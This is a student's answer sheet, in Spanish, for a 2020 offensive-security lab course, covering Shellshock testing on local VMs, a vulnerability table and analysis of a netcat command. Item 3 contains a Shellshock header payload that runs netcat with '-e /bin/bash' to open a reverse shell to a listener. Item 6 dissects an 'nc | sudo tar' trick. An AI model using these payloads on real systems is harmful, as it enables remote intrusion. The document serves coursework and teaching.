

Práctico 0:  
Seguridad Ofensiva  
Licenciatura en Ciencias de la Computación  
FAMAF

Iker M. Canut

2020

1. La dirección IP de la máquina virtual Kali en este caso es 192.168.1.155 (Bridged).
2. La dirección IP de la máquina virtual OWASP en este caso es 192.168.1.133 (Bridged).  
Tras ejecutar **env x='() { :; }; echo vulnerable' bash -c "echo test"** vemos que la computadora es vulnerable a Shellshock.
3. Luego de ejecutar todas las instrucciones mostradas, se procede a modificar el código para poder así, con ayuda de netcat, conseguir una reverse shell.

```
#The following variables are defined as headers for our POST request.

Command = "/bin/ping -c1 " + LISTENER
Command = "/bin/nc.traditional " + LISTENER + " 4444 -e /bin/bash"
#If testing against OWASPBWA, change nc to nc.traditional. Thanks
USER_AGENT = "() { :; }; " + Command
Cookie = "() { :; }; " + Command
Host = "() { :; }; " + Command
Referer = "() { :; }; " + Command
```

Se adjunta una imagen llamada shell.png donde se muestra la shell conseguida.

4.

	ENLACE 1	ENLACE 2	ENLACE 3
Cual es el riesgo?	RCE (remote code execution: execute arbitrary code on victim's computer). "0day" vulnerability.	Perdida de confidencialidad.	Execute arbitrary code via a crafted environment.
Requerimientos para la explotación	Tener instalado Zoom en Windows 7 y realizar una accion tipica, como abrir un documento.	Tener GnuTLS con versiones entre la 3.6.4 < 3.6.14.	GNU Bash 1.14 < 4.3
Como mitigar la vulnerabilidad?	Se podria considerar la posibilidad de instalar el parche de 0patch aunque aplicar parches desconocidos a binarios de Windows no me parece una buena idea. De todas maneras, Zoom sacó una nueva versión en donde arreglan este error, al dia siguiente, por lo que actualizar el programa solucionaría esta vulnerabilidad.	Actualizar.	Actualizar Bash

5. El diccionario con los aliases se llama ekoparty.txt.
6. Para analizar el comando **nc 143.0.100.198 1099 | sudo tar -xf -** comenzaremos con la parte de netcat, es decir, **nc**. Esto se usa para crear una conexión con el puerto 1099 de la IP nombrada. Por otro lado, el comando **tar -xf -** extrae un archivo, el - ordena que se use el archivo que se pasa por el pipe. Es decir, se crea una conexión, y cuando se recibe un archivo, se lo descomprime. Pero no termina ahí, porque falta la palabra sudo. La palabra sudo hace que se pida la contraseña del usuario, y cuando se la escribe, no solamente se usa para descomprimir el archivo (o intento de archivo, porque no se le puede pasar nada), sino que se envia al chat, por lo que cualquier persona escuchando podria hacerse con las credenciales.